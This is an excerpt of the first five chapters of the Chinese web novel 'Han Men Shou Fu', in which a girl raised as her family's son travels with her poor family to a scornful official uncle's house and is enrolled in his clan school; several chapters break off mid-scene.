《寒门首辅》 1. 启程 《寒门首辅》全本免费阅读 严冬时分,寒来铺天,远处的青山松林被笼罩在一片冰冷刺骨的雪雾之中,冷碧的松尖儿尚凝着雪色的冰碴,在冷阳下闪烁着微光。 冬风扑过来,冰碴扑簌簌地往下掉。 松下一纤弱少年冷不丁就被砸了满身,不由仰起头来。 少年俊眉修目,琼风秀骨。一身洗的发白的破棉絮袍在寒风中猎猎飞舞,身形清瘦修长,迎着雪光,秀美的美容更显得冷清。 感受到脖子里掉落雪碴子的寒气,少年松开握住斧子的手,微微昂起头,勉强拭去了鼻尖和两颊上的冰雪,这才又俯下身去捡起了地面上被劈飞的柴火,装在了身边的背篓里。 但顾不得多做停顿,她又紧拾起另一只圆滚粗柴摆在木桩上,再度紧了紧手中的斧子,高高扬起,重重劈下。 啪——! 沉闷的砍柴声中,一个黑粗的汉子看向少年。 “宁哥儿,你昨个儿劈了半日柴,也不过得了二十来斤。怎得今日又是你来?你阿爹呢?他若是一味只在家里躲闲,今年你家怕是难挨了。” 乡下冬日里奇寒无比,没有预备上足够的柴火是会冻死人的。 但那少年闻言不曾回话,只紧绷着唇线,继续挥斧。 “李大哥你何必管他们周家的闲事?那姓周的那酸秀才怕是又去巴结他那个当大官的长兄了!”有一个汉子接话。 另有人讥笑道:“能当大官的老爷都是天上的星宿,哪儿看得上他提过去的鸡鸭鹅鱼呀。偏偏人家不识相,年年过节年年上门,哪回不是灰溜溜地回来?这要是我,我早没脸再登门了。可偏偏人家跟个没事人一样!” 说罢,一群汉子都粗声粗气地哈哈大笑起来。 先前问话的李大哥脸上显出一点怜悯的神色。 但少年流着热汗依旧沉默不语,任这群汉子取笑,只是用尽全力地再度扬起斧子,又落下,眼神冷淡又执着,似乎能让她上心的只有这堆干柴。 这时,凝结着一层薄冰的泥泞小路上,远远地走来一抹女人的影子。 “宁哥儿!宁哥儿!”黄嫂子遥遥地便喊。 少年从人堆里抬起头,看见一个腰似桶粗的胖妇人朝他快步走来,气喘吁吁地停在他面前,说:“我在整个西河村寻你,谁知你躲在这儿。瞧瞧你这一身臭汗,快,把斧子放下随我回去,你阿爹正找你呢。” 说着就要去拉少年的柚子。 周稚宁拘谨地往后退一步,低声道:“黄嫂子,您可知道我阿爹找我有何事?” “自然是好事!” 黄嫂子笑的将胖肉堆在一处:“你那个当了大官的大伯呀,今年亲自派了人来接你们一家去过团圆年呢!好气派的马车就停在你们家门口!你阿爹寻你都寻疯了,我也特别来给你报个信儿。你可别耽误了,赶紧回家!” 周稚宁闻言一愣,继而颇为烦恼地抿了抿唇。 几年前她因病去世,醒来后就成了这西河村周家二房的长子。 她上头有三个姐姐,而她自己本该是周家的第四个女儿。被迫挑起长子的担子,也只是因为当年父亲周允德第十次落榜后大病了一场,人眼看着就要殁了,母亲杨氏信了道士的谗言,为了替周允德招魂,谎称腹里怀的是个文曲星投胎的麟儿,能替周允德圆那个虚无缥缈的状元梦,光荣二房。 这个谎言硬生生吊住了周允德的一口气,后来果真把人救了回来。 她一开始以为谎言终究是谎言,杨氏不可能瞒周允德一辈子。可一年、两年、十年……杨氏从一开始不知如何开口,变成如今害怕开口。 因为周允德实在是将这个被预言为文曲星的“老来子”当成了人生的全部希望。他不仅彻底放弃了科举,专心教导“儿子”读书,还耗费全部银钱送“儿子”开蒙,替“儿子”求遍名师,甚至还愿意腆着脸去求早就不再联系的长兄周允能,只为了“儿子”能得到一个更好的前途。 所有人都信她是周家的长子,二房的希望,就连说出这个谎言的杨氏也渐渐的信了,仿佛她当年诞下的真的是个麟儿,而不是女儿…… * 回家后,周稚宁才看见家里家外都忙疯了。 三个姐姐不停地往一辆华丽的大马车上运着什么东西,母亲杨氏也紧张的不得了,一直在清箱箧。几口往日里被珍藏的大樟木衣箱,如今都大喇喇地摆放在院子里。 周允德更是喜得不行,那张青白消瘦的长脸上,难得进发出了巨大的光芒,两只原本暗沉黯淡的眼睛,现在亮的吓人。 一看见周稚宁,他立马大步走过来,推着她的肩膀道:“宁哥儿,你快去看看你的衣箱还有什么需要收拾的。多的你母亲已经替你收捡了。怕还有什么零零碎粹的遗落,你自己去验一验。省得到时候去了平城,缺东少西的还得劳烦主人家替咱们置办。” 周稚宁回头看了一眼马车外的侍从,那是奉命从平城来接周允德的。此时那人虽面无表情,可嘴角微微下撇,眼神里充满了鄙夷和不屑,以一种看打秋风的穷亲戚的目光,审视着他们一家的兵荒马乱。 “阿爹。” 周稚宁回过头来叹了口气,低声道:“何必如此麻烦?咱们只是去平城过年,腊八过了便回来了。带这么多东西去也没个用处。又麻烦阿娘和阿姐们来来去去,实在累得慌。” 周允德却笑道:“今年与往年大不一样,你那大伯还是念着我们这点骨肉之亲的。虽然往年做的绝情了些,但今年到底是心软下来,不仅派了马车来接我们进平城,还与我修书一封,留我们在平城暂住。” 周稚宁眉心一蹙:“可腊八后私塾那边的课业怎么办……” “这也是为父替你苦心经营之处了。” 周允德叹了口气:“我天资平平,但你开蒙这些年,各个夫子都是赞叹有佳,夸你有读书的慧根。西河村虽好,但终归太小,若你能去平城读书,将来的路途应当更坦荡些。正好你大伯家要开一个家族私塾,遍请名师,届时还有其他家族子弟前来入学。这样的机会,我实在是不忍你错过。” 周允德确实是打心眼儿里替周稚宁考虑,可周稚宁的眉头却越皱越深了。 平城对她来说是另一个陌生的天地,光是要适应就要花上一番功夫。更何况她还担着这么大个秘密…… 可是周允德没有多想,催促周稚宁去检查自己的衣箱。 周稚宁无话可说,只好依言去了,杨氏替她将东西收的很好,不需要多看什么,于是她很快又回来了。 见再无可收捡的了,周允德就带着一家人上了马车。 那车夫扬手挥鞭,马车就摇摇晃晃地动了起来。 三姐周巧秀今年才十二岁,正是活泼好动的时候,她坐在马车上也一刻不能安分,掀开马车帘子朝外看,问道:“阿娘,咱们这一去,什么时候才能回来?” 杨氏将她抱在怀里,笑道:“兴许明年就回来了,秀姐儿舍不得西河村吗?” 周巧秀点头,眨巴着两只漂亮圆溜的眼睛说:“是啊,我跟二狗还约好了明年春天去放纸鸢呢。他说他给我扎一个又大又漂亮的纸鸢送我。” 杨氏皱眉:“秀姐儿你也不小了,也要学会懂些规矩,以后不许再跟这些小子们混在一起。你也该学些规矩了。” 周巧秀撇撇嘴,像是不高兴:“为什么我就要学规矩?阿弟怎么不学规矩?阿弟也会跟那些小子们混在一起,为什么我就不能?” 杨氏说:“你是女儿,你弟弟是男儿,自然是不一样的。” 周巧秀还是不满意,嘀咕着:“怎么就不一样了,哼……” 周稚宁静静地垂下眼眸。 其实无论男子、女子,理应是一样的,只是她所在的这个大明,女子生来艰难。 大姐周巧珍正经道:“阿娘说得对,三妹,你已经十二岁了,该懂些规矩了。不仅在男女大防上面格外注意,就是去了大伯的家里,也要更谨慎守礼。” 杨氏附和地点头,欣慰地说:“还是珍姐儿懂事。” 说完,她又叹气:“一晃眼,珍姐儿你也快十六了,也该找个婆家了。我本想着要是宁哥儿能挣个功名回来,你的前程也更有指望,可这还要等上许多年呢,怕是要耽误了你。但要是这回你 2. 破落户亲戚 《寒门首辅》全本免费阅读 十一二月的天气冷得很,从西河村去往平城的路上凝结了一层坚冰,稍不留神就容易打滑摔出去,因此车夫赶路十分小心。 等他们赶到平城的时候,已经过去了两天一夜。 天蒙蒙亮,马儿喷着响亮的鼻息,车夫眼角眉梢都结了冰,说话的时候与马匹一样,吞吐着白烟儿。 “到了,几位请下车,从角门儿进吧。” 这两天一夜的赶路着实将人折腾的不轻,周稚宁几个小辈儿还熬得住,但周允德和杨氏两个已经是脸色难看。周允德眼框下更是坠了两个大大的乌青,走路都虚浮起来,叫他消瘦细长的身子更显萎缩,一副要殁的模样。 周稚宁随几个姐姐下了马车,脚刚一沾地,就被这冰凉的雪雾刺激的一哆嗦。她身上的旧夹袄已经穿了好几年了,里面的棉絮都压实了,不是很能御寒。她只能不住地跺脚搓手,好叫自己更暖和些。 这边杨氏几个也冻的慌,周巧珍、周巧慧、周巧秀几个都围在她身边。四个女人凑在一起取暖,倒比周稚宁一个人取暖更容易。 但一家人望一望平城周宅阔气不凡的牌匾,以及紧闭的朱红色大门,一时竟不知道接下来该有什么动作。 因为按照道理,邀客的主人家必定会算准他们来的时候,派人在大门口接引,不至于叫来客昏头昏脑,摸不着东西南北。 但此时此刻,莫说周府,就是整条大街都静悄悄的,一切都被笼罩在冰冷的晨雾中,寂静冷漠。 周允德往自己手心里哈了口热气,只得先招呼杨氏几个一起把车上的箱箧卸了。 于是几个女眷加上周稚宁又忙上忙下地搬了一阵子的东西。 好歹他们也是客,但车夫冷眼旁观着,只将手拢在袖子里,兀自靠在车门处打盹儿,一副不打算帮忙的样子。 好不容易等到几只大大小小的箱箧搬完了,已经过去了三炷香的时间。 周稚宁脸色布满了劳动过后的红晕,薄唇却微微发白,于寒风中站立,整个人越发显出一种病弱的苍白感。 周允德心疼儿子,且他看周府外一直没来人,便凑近车夫商量道:“小哥儿可否给我们寻个接引的人来?我不曾入过内院,实在不知府内是个什么情况。” 车夫坐在马车上,懒洋洋地掀起眼皮笑:“但凡府里的宾客迎来送往,都要找翠红姐姐,她是夫人身边的大丫鬟,管家婆子都没她利害。” 周允德哦哦地说:“那敢问这位翠红姑娘何时出来?这天寒地冻的,我们棉衣不足,怕是不能御寒。” 那车夫笑的更厉害了,一口黄牙露出,将眼角眉梢的宿冰抖的簌簌的响:“你要等她老人家,先蹲在哪儿角门等到日上三竿再说吧!等她什么时候用床上功夫把老爷伺候得舒服了,你们什么时候就可以见到她了!哈哈哈!” 原来翠红是大夫人身边的人,叫夫人开了脸指给了周允能做通房。 周允德脸色登时一变,但车夫直接一扬马鞭,瞧也不瞧他,径直往后院马棚去了。 “欺人太甚!这是什么待客之道!”周允德气的脸色涨红,“太失礼数!实在是太失礼数了!” 周允能派人将他们接来,又不着人来引见,大早上家门紧闭,叫他们吃了好大一个闭门羹,简直是难堪至极。 如此羞辱人的举动,偏偏周允德又因为记挂着周稚宁的学业,而不敢轻易拂袖而去。 杨氏犹疑地问:“老爷,咱们现在怎么办呐?” 平城离西河村那么远,他们自己定是回不去的。 周允德忍了又忍,终是咬牙看向周稚宁道:“宁哥儿,咱们周家二房的希望就全系在你一个人的身上了。若是往后你能够出人头地,挣个功名回来,为父才不枉受这今日之辱啊!” 言罢,他看向周府那阔气的匾额,在晨曦之下,匾额上的“周府”二字仿佛在闪闪发光。 “等吧……”周允德说,仿佛认命般,“等罢……” 一家人在寒风之中瑟缩在了周府的角门处,狼狈地像几条无家可归的丧犬。 周稚宁靠在冰冷的砖石上,眼睫低垂,仿佛有千斤般的重担压在她的肩膀人,于寒风中更见羸弱清瘦。 * 也不知道过了多久,青石街面上冰凉的晨雾终于慢慢散尽,偶尔也有行人来去,周府的角门却迟迟未开。 这时,远处传来一阵人声。 周稚宁顺着声音看过去,只见几个锦衣玉袍的青葱少年正说说笑笑、意气风发地朝他们这边走来。 少年们身上穿着的褙子都镶着纯白的毛边,绣着花团锦簇的纹样。外面披着漂亮精致披风,手里或是抱着暖炉子,或者抱着汤婆子,温暖舒适。走路时大步流星,昂扬阔首,自有一股子富贵人家的傲气和贵气。 为首的一个穿着更是华丽,一身紫红色锦绣不说,外边儿还披着件厚实漂亮的狐毛披风。走起路来昂首阔步,似乎很是得意。 周允德则注意到这个少年腰间系着块玉牌,牌子上刻了个简单的周字,约莫就是往周府里去的。 他舔了舔苍白又干枯的唇瓣,努力把腰上的一处崩线口往后扯了扯,谦恭地弯着身子对着这群少年迎上去。 这样的姿态让他本来就细瘦的身体变得更像一只弓紧了的虾,穷酸、紧张又可怜。 “诸位……” 周允德甫一开口,便被那名紫红色锦袍的少年睨了一眼,呵斥道:“哪儿来的叫花子?不懂规矩么?怎在我周府门前圪蹴。去,速去!” 周允德脸色顿时红红紫紫,像一块变色了的猪肝。 “在下周允德,是周府老爷周允能的同胞兄弟,这次来是应了周老爷的邀约的。” 周允德勉强压着脾气说:“诸位想是也是往周府去的,能否帮忙通传一声,我与家小已是在外等候多时了。” 话音落下,那几个少年的脸色各有各的精彩。 唯有这紫红锦袍的少年神情一变,显得难看起来。 身后有一人凑上前来,笑嘻嘻地说:“连玉兄,真没想到,原来你家还有这么一门亲戚呢?瞧这模样,应是连夜赶路过来的吧?” 周连玉闻言立即反驳道:“谁跟他们是亲戚?!” 周允德慌忙要掏请帖:“我这儿有帖子,这确实是周府老爷亲笔所写……” 但他的话还没来得及说完,就被周连玉武断地打断了:“真是荒谬!” 说着,周连玉上上下下把周允德连带着周稚宁与那堆行李打量了个遍,满脸嫌恶:“若是我父亲请的你们,怎么没叫人接引?我周家也是礼仪之家,是万万做不出如此没有礼数的事的。你们若执意要故意攀污我家,我便不留情面,叫人将你们打出去了!” 言罢他一甩披风,踏步便走,连也正眼也不留给周允德。 这回周允德连口齿都气到结巴了,但骂又骂不出来,差点当场气晕过去。 周连玉身后的这群少年也都只当这是个小插曲,同样随着周连玉离开。只是在经过周允德的时候,他们不加遮掩地议论道: “原来贱民身上当真有股子穷酸气,难闻的紧。” “怕是赶路了几天未曾洗漱的臭气!” “哈哈哈哈哈!” 眼看着这群人要离开。 “周公子,请留步。” 嬉笑声中,一道冷淡的嗓音显得很是突兀。 周稚宁立在清晨的雪光之中,皮肤素冷白皙,没有丝毫瑕疵。眉眼细长而清雅,晨曦之下,仿佛是一个玉做的美人。 “你们这群骗子有完没完!”周连玉满脸不耐,但其实眼底里藏着几分紧张。 他身后跟着的这群少年都是被家里人送到周家的家族学堂来的,个个都有些来历。因此,这些人表面上是来学堂里听夫子授课的,但其实更多的来互相拉拢关系的。 按理说,这样接待来客的事儿并不该他一个庶出来做,可他竟然接到了这个任务,可见周允能是有意培养他的。 为此,周连玉的这个差事务必办好,既要在这群人面前逞一逞周府的威风与排场,不丢了周府的脸面。又得不着痕迹地捧着这群贵客公子,叫他们知道周府礼仪周全。 3. 哼,高门子弟 《寒门首辅》全本免费阅读 跟着仆人从后门进了周府,一家人被领到了一处小院。 小院很偏僻,看上去似乎荒废了很久了。门匾上的字都被厚重的积雪盖住了半面,屋檐下坠着闪着寒光的冰坨子。 唯一能通往小院内的一条路也被大雪埋没了,一脚踩下去,雪深得齐膝。 杨氏冻得直哆嗦:“老、老爷,这个地方冷的很,怎么住人啊?” 那仆人闻言冷笑:“有个地方就不错了,夫人若是想住好的,拿出百八十两银子来,到时候就是夫人想住天宫我们也能给您办妥。” 杨氏面色顿时难看起来。 还是周允德摆摆手,无奈道:“罢了,能住便罢了。” “周老爷不愧是读书人,比起妇道人家来就是有涵养。”仆人嗤笑了一声,阴阳怪气的,也不知是褒是贬。 “对了,既然周老爷这般识相,那我就不得不提醒周老爷一句。近来我家老爷要开族学,不少官老爷都会送自家的公子来府里念书。这些公子们身份都尊贵,千万冲撞不得。所以近些时日周老爷您和您的家眷就别往前院去了,省的到时候闹出了笑话不好看。” 仆人的话夹枪带棒,明里暗里都是在瞧不起周允德一家子的身份,。 周允德叹了一口气,脸色灰败,颓唐地应了句:“我知道了。” 仆人哼笑:“即使如此,那就请周老爷您好好休息。午饭过后,我家老爷再请周老爷和宁公子去前厅叙见。宁公子今日在府外的一番话当真是有趣,我想我家老爷还想再听宁公子再说一遍……” 言罢,仆人掸了掸身上并不存在的雪,颇为倨傲地离开了。 若说此前仆人对周允德的侮辱,他还受得住,此时仆人提到了周稚宁,周允德就有些耐不住。 他对周稚宁道:“唉,宁哥儿,你方才着实不该为逞一时口舌之快,就拿你大伯的阴私家事出来浑说的。还未见面,你大伯就该恼了你了。你瞧瞧,这会子人家就已经来敲打咱们一家子了。” “父亲以为大伯是真心实意请咱们一家子来平城团聚的么?” 周稚宁说。 她用脚踩了下这四周的厚雪,一脚下去就深陷其中。 这样连雪路都未开的地方,怕是很久没人打扫过了。但凡是有点体面的人家都不会拿这个院子出来待客,可她那位素未谋面的大伯倒是敢的很。 这就是掐准了周允德这一房无权无势,又是软弱的读书人,所以才敢这般明目张胆地欺凌。 周允德也知道自己算是又看错了这位“兄弟”,他低低道:“所谓人在屋檐下,不得不低头。这里是平城,不是西河村,咱们总该谨言慎行些。若是被别人抓到错处,不是更难过了么?” “父亲,咱们做与不做,说与不说都是错。周府的态度您也应该看见了。”周稚宁抿了抿唇角,“更何况这回我必定要得罪大伯了,与其留下来继续看人脸色,不如回乡。” 周允能既然看不起他这位弟弟,却又要千里迢迢地把人从西河村带到平城来,这背后必定有些隐秘。 与其留在平城被人算计,不如早早的撕破脸。叫周允能恼怒之下,将他们一家赶回西河村。 这也是为什么周稚宁敢当众揭露周允能阴私的原因,她本就是抱着惹怒周允能的目的去的。 更何况周稚宁本身就背负了那么大的秘密,在周允能目的不明的情况下,在平城多留一天就多一分暴露的危险。 “不成!” 即便周允德明白周允能是不会再与自家相亲了,但还是一口回绝了周稚宁。 “宁哥儿,你不要使一时意气。你大伯虽然待我们严苛,但平城好歹比西河村强。你总说着要回去,难不成你要一辈子待在西河村走我的老路么?” 周允德从小就被拿着跟这位长兄比较,怎么比他都不如,村里的冷眼嘲笑他受了大半辈子了,夜里想起来都会惊一场噩梦。 他自己的没出息怕了,因此就算周允能已经踩到他脸上来了,他也能忍。他就是要拼全力把周稚宁托举起来,让二房也有个荣光。 “你大伯不是心狠手辣的人,不至于与你计较。好歹你还是他亲侄儿,大不了、大不了……” 周允德咬牙道:“大不了待会儿你见到你大伯,好好地给他赔个不是。就是他责你也好,气你也好,甚至于申饬你,你都不许回嘴。无论如何你都得留下!” 言罢,周允德也不顾周稚宁同意与否,吩咐了杨氏和几个姐儿一同拿了竹扫帚,就一门心思地给小院铲起雪来,任凭周稚宁再三劝阻也不理。 这看样子是铁了心要在平城住下了。 周稚宁都不曾想到周允德竟然这么能忍,她不由狠狠拧眉。 * 在周允德的坚持下,周家全家人在小院内外昏头昏脑地扫了一个时辰的雪,那日头都西移了有一会儿了,还没有仆人来引他们去进午膳,一家人都饿的受不住了。 特别是周巧秀,她还是个小姑娘,连日的奔波本就没怎么休息,如今又埋头扫了一个时辰的雪,浑身又累又冷又饿。 她忍不住扯了扯杨氏的袖子,眼眶发红:“阿娘,我饿了……” 杨氏也为难。 他们这趟出来只带够了路上的干粮,本想着到了平城以后自有周允能安排,可惜周允德失算了。 周巧珍、周巧慧闻言也忍不住咽了口口水。 其实她们两个也饿的慌,她们还帮着一块儿扫雪,衣摆和鞋头都叫雪浸湿了,手指头冻得又红又紫。可她们也知道周府并不待见他们一家,不给他们摆饭也是故意的。因此她们都不肯多说,只埋着头一个劲儿地干活。 但一直饿肚子也不是办法,总该有个能出头的人。 周稚宁看了眼周允德,见对方面色难看但又死撑着,便知道指望不上周允德开口去讨要膳食。 她虽也想让周允德饿上这一顿,结结实实吃点苦头,但三个姐姐却是无辜陪着受罪。 周稚宁无声地叹了一口气。 她拍去了身上的风雪,担起了长子的责任,去了前院问询膳食的事。 只是她是个生面孔,周府里的丫鬟婆子们似乎又得了谁的授意,都有意避着她走。因此几番询问下来,她都没能摸到膳房的边。 周稚宁不由头疼地揉了揉额角。 她知道自己为了激怒周允能,进而得罪了周连玉,所以进了周府后诸事都不会太顺利。只是没想到对方连一刻也不想多等,前脚结下的仇,后脚就要报。 她正想着要另寻办法时,忽然有个人从墙后冒出头来,小声叫她:“小哥儿!小哥儿!” 周稚宁闻言看过去,只见对方是个圆脸的小厮,满面带笑,看上去很是面善,似乎很好相处。 “小哥儿,你可是今儿入府的周二老爷家的公子么?叫宁哥儿的那位?”小厮问。 “……我是。”周稚宁抿抿唇角,“午膳时候已过,但贵府还不曾给我父、我母派饭,所以他们二老差我前来问问。” “我说呢。我刚上了工出来就瞧见您一个人在这院子里进进出出的,像个没头苍蝇似地乱转。”小厮露出一副果然如此的表情,“要我说呀,您就是再转下去也没用,没人会给您指路的。您在府外的时候得罪了我们四公子周连玉,没人敢给您派饭的。” 周稚宁心有预料,拱手道:“那敢问贵府管事何在?” 周允能再怎么苛待胞弟,好歹也不能面子上过不去,她亲自去找管事,也许还能得一餐饭食。 但听她这么说,小厮面上飞快地闪过一丝不自在,道:“府里管事向来与四公子相亲,您就算见着他了也没法子。” 但小厮说完,不待周稚宁回答便话锋一转,又道:“但是周二老爷怎么说也是我家老爷的兄弟,真要饿坏了我们也担待不起。不如公子您跟我来,我私下里给您一些饭食,您悄悄地拿过去用,但千万别说是我给的。” 周稚宁闻言眉头微蹙,没有及时应下,反而将视线在小厮面上停留片刻。 雪光之下,她的眼眸仿佛是最透净的琉璃色,能看穿世上一切阴谋诡计。 小厮不自在地扯了扯面皮,眼神有些飘忽:“公子这是怎么了?再耽搁下去,那饭食该凉了。您一家子不是还等着用膳呢嘛?咱们年轻人饿的起,父母姊妹们饿不起啊。再说了,您这一顿不吃,兴许以后就没得吃了……” 这最后一句话有些格外的意思。 周稚宁顿了顿,才道:“……好,我跟你去。” 得了周稚宁的同意,小厮立即在前面带路。 没多时,二人就到了一处偏僻的院落旁。 小厮果然信守诺言,钻进了院落边上的假山里,替 4. 指门好亲事 《寒门首辅》全本免费阅读 半个时辰后,周稚宁终于一瘸一拐地回了小院,她怀里的馒头早就冷的跟铁一样了。 她干脆就不进院子了,而是招手叫出了周巧慧。 周巧慧见她一身的伤,浑身上下都湿透了,连眉毛、眼睫处都结了冰碴子,整个人狼狈的不成样子,不由吓了一大跳。 “阿弟你这是怎么了?!” “没看清路,回来的时候摔了一跤,滚到坡下去了,不碍事。” 周稚宁将粮食口袋递过去:“拿去跟阿娘、大姐、三姐分了吃吧,是馒头,膳房里就剩这些了。冷是冷了些,好歹还能果腹。” 周巧慧接过粮食口袋,眼睛却还担忧地盯在周稚宁身上:“这可怎么办呀?阿爹还没用饭就被叫走了,说是要去西暖阁见大伯。阿爹走时还吩咐我看见你回来就催你去。但是你的伤……” 闻言,周稚宁长眉一挑。 这时间赶的真巧,她前脚被周连玉套着麻袋打了一顿,后脚就得去西暖阁见周允能。这样紧凑的安排,连让她洗个热水澡的时间都没留。 但她越狼狈,周连玉应该就越称意。 于是她干脆朝周巧慧要了件干燥外衣,简单地替换了身上湿透的这件,就朝西暖阁那边去了。 比起她一个人去打听膳房的窘状,这回周允能还派了个仆人来替她引路。 两个人就这么一前一后地走在周府大宅内。 周允能的住所离周允德这个小院颇远,走过了夹道,还得再过两个回廊,穿过一座花园,这才到西暖阁。 所谓的西暖阁其实是座偌大的四合院,灰墙白瓦连绵不绝,古朴大气。 阁内,一个穿着宝蓝色直裰的中年男子端坐在上位,他面容瘦长,蓄着一副美须鬤,仪容风雅。 有两个侍女正垂手在男子身边伺候,一人端茶,另一人拿铜著拨弄炭盆中的碳火。 这人就是周允能。 “这位就是宁哥儿吧。”周允能摆摆手叫两个丫鬟退下,看向周稚宁笑的和缓,“雪天路滑,来的路上可是摔着了?” 即便周稚宁换了件衣裳,遮盖住了手臂和腿上的伤痕,但依旧掩盖不住她身上浓重的寒气。 “……是,侄儿路上不小心摔了一跤。”周稚宁回答。 她选择隐瞒了周连玉打人的这件事,毕竟她还是低估了周允德强行让她留下的决心,若是此时继续撕破脸,怕她还得遭受皮肉之苦。 想着,她抬头一看。 果真,周允能身后就站着几个锦衣的少年。他们依次站开,第四个就是周连玉。 周连玉见她揭过真相,不由傲慢哼笑道:“堂弟伶牙俐齿,却没想到这腿脚倒是不太利索。” 其他几个少年都没说话。 只有看起来年岁最长的一个少年关切地问道:“堂弟可有摔伤?” 这人是周允能家的长子,名叫周明承,是正房所出。他自小聪明伶俐,为人处事也颇为温和有理。比起他的几个弟弟来更受周允能的疼爱和器重。 周稚宁摇摇头:“谢堂哥关心,无碍。” 周允能脸上露出一丝笑,道:“好,那宁哥儿也入座吧。” 周稚宁应是,然后走到了周允德旁边的座位处落座。 只是她刚一坐下,坚硬的实木凳子就碰到了她的伤口,疼的她刹那间倒吸一口冷气。 周允德听见了,不由问:“宁哥儿,你这是怎么了?” “无事。”周稚宁还是这样回答。 但她只感觉屁股、大腿以及胳膊、手肘这些地方疼得尖锐刻骨。被雪水浸湿了里衣更是紧紧贴在她的背脊处,又冷又硬。 她看向周允能一家人。 他们个个都是锦帽貂裘,穿的温暖舒适。现下里随意落座之后,彼此贴耳说一两句玩笑话,更显松快适意。 就连丫鬟们也时刻注意着他们,有的着意奉上刚烹好的热茶,有的将那铸铁制成,兽蹄足,板沿呈八棱形,板面刻缠枝花卉的炭盆轻轻地往他们脚边移动。 比之那边的热闹,周允德和周稚宁二人像是闹市里无人问津的货品,等了好半天,才有丫鬟也给他们端来了两杯热茶。 周允德面色尴尬,只好端起茶盏假喝几口,以做掩饰。 这时,周允能道:“父亲仙逝后咱们就分了家。本想着一家兄弟不作两家事,理应时常走动。但近些年愚兄实在忙了些,二弟多次登门也未无法见面。如今我交了朝廷里的差事,终于得闲,就想着一家人团圆,这才叫人将你们接来平城。” 周稚宁眼眸里闪过一丝冷笑。 周允德倒是连连点头:“是是是,长兄公务繁忙,愚弟也是知道的。” “二弟肯体谅愚兄就好。”周允能笑道:“刚好今年愚兄准备办一个族学,宁哥儿也大了,听说在西河村时课业很是不错,常拿第一。不如就叫宁哥儿也留在族学里,让他们堂兄弟几个一处伴着,也好彼此相熟。” 周允德就盼望着这句话呢,哪儿有不答应的道理。 “既然是长兄的意思,愚弟怎么好推辞呢?那就麻烦长兄了。” 周允能捋了捋自己的须鬤,看向周稚宁:“宁哥儿刚来,难免有些许地方生疏。这样吧,就叫明承与宁哥儿一起,引着她先熟悉熟悉。” 闻言,周稚宁垂下了眼眸。 其实她对周允能的意思揣摩的不是很明确。 周明承既是长子,出身又好,人也聪慧。将来若无意外,朝堂之上定会有他一席之地。因此现下这个族学,正是帮周明承打出好名声,拉拢各处人脉的一步好棋。 这样一个出色的继承人,身边总该放个伶俐的兄弟,无论是谁,也不该是周稚宁。 不过周稚宁思前想后的功夫,周明承已经点头应了下来。 继承人都点了头,那她更没有拒绝的资格。 左右不过以后小心些,平庸些,再慢慢的看周允能葫芦里到底卖的是什么药。 于是周稚宁也道谢:“多谢大伯。” 紧接着周允能又聊了些家长里短的话,但出乎周稚宁意料的是,他从头到尾都没有提过周稚宁在府外当着众人的面抖落出来的那些阴私家事。 似乎这些事情他从未听过,也从未发生过,待周稚宁时笑容和缓,语气温和,做足了慈祥长辈的模样。 周稚宁端起手边的热茶呷了一口,面无表情地想:老狐狸。 * 叙旧的话说完,周允能就放了众人回去。 周稚宁本想要和周允德同行的,但周明承从后面叫住了她,于是二人就落后一些并肩而行。 “宁堂弟,我瞧你穿的也太单薄了些。我哪儿还有些以前的衣裳,我只穿过一两次,若是宁堂弟你不嫌弃,我晚些时候就叫人送去你院子里。”周明承道。 “哪有嫌弃的道理?堂哥的衣服自然都是好的。”周稚宁淡笑。 周明承看向周稚宁。 雪光之下,周稚宁虽然穿着朴素简单,但眉眼确实秀丽出众,肌肤白如山上雪。即便是因为摔了跤,形容有些狼狈,可依旧不减颜色,反倒有些病弱的美感。 他这位堂弟,倒是比女子还好看三分。 周明承想。 很快,二人就到了周稚宁的院子。 这院子实在是小,小到周明承一眼看过去就可以将院子里的东西尽数收入眼底。 他不着痕迹地蹙了蹙眉,道:“后日就要上族学了,宁堂弟若有什么缺的,都只管告诉我。” 既然周明承想做 5. 赵淮徽? 《寒门首辅》全本免费阅读 周明承的承诺果然有用,周府下人不仅没再克扣周稚宁等人的晚膳,甚至还多补送了两道炽热鸭子火锅,说是替府上的怠慢赔罪,这倒是让周允德和杨氏有些受宠若惊。 另外周明承的衣裳晚些时候也叫人送了过来。 周稚宁试了几件,都还能穿得上身。只是男子的身材终究跟女子不太一样,袍子还是太宽了些,于是杨氏又带着几个姐儿一起熬夜做针线活修改,等到第二天再上身的时候,这几件袍子就合身多了。 杨氏挑了件象牙白绸缎面料绣细密梅花的给周稚宁换上,一面摸着料子,一面艳羡:“果然是承哥儿的东西,这么好的料子,在西河村怕是几年都穿不了一次。” 周稚宁听她这么说,就知道她心里肯定又在想让周允能指前程的事儿了,正要说两句压下杨氏的念头,门外就传来了响声。 出门一看,是周明承来寻她了。 冰天雪地里,周明承穿了件玄狐的大氅,身姿笔直,越发显出他俊眉星目,英姿不凡。 周明承身后还跟着两个书童,各自提着一只红漆书箱,老老实实地垂头站着。 一见着周稚宁,周明承便笑道:“今日族学的几位老师都来了,我来引你去拜见。” 周稚宁道过了谢,又听周明承说:“我看你来时身边没有书童,我就从身边手脚麻利的童子里面拨了一个给你。”又扭头说:“茗烟,来。” 一个娃娃脸、白净的书童站出一步来给周稚宁见礼。 周稚宁也认下来。 二人就一同去见周允能请来的老师。 周允能的官其实做的不错,他中举之后就娶了儒学大师邓水员的嫡女,随后就投靠了四皇子一党。因四皇子在朝中与太子分庭抗礼,正是用人的时候,所以周允能平步青云。如今不过三十来岁,他就坐上了朝中四品大员的位子,领的是詹事府少詹事的职。 也是借四皇子的风,周允能门前客似云来,但凡是有些名头的人都乐意与他结交,因此他能请来的老师也并非是凡俗之辈,有两个都是从翰林退下来的,一林一李。还有一位姓牛的虽然不是出身翰林,但很有些名士的风头,传闻连万岁爷的亲弟八王爷朱琦番也与他论过学道。 这些消息周明承都一路上都跟周稚宁交代的很清楚,周稚宁也不惊讶于周明承的毫无保留,毕竟她现在也算是周允能过了明路的侄儿了,若是在几个塾师门前犯了错,丢的还是周府的脸面。 因此等周稚宁二人见到三位塾师时,两个人都表现的很是进退有理。 留着山羊胡子的林老师对周府内务事知道的不多,但看周稚宁兰枝玉树,身姿笔直的犹如瘦竹,倒比身边满身富贵气的周明承多了两分清高孤冷,一时就起了些兴趣,问了她两句课业上的事儿,还考较了两个题。 周稚宁都答了。 不过她顾及周明承还在她身边,提防着林老师再问周明承,自己压了周明承的风头,所以也没有答的太出彩。 林老师问完眉心微蹙,但面上也没有流露出太多神色,想是觉得这回答只是差强人意。 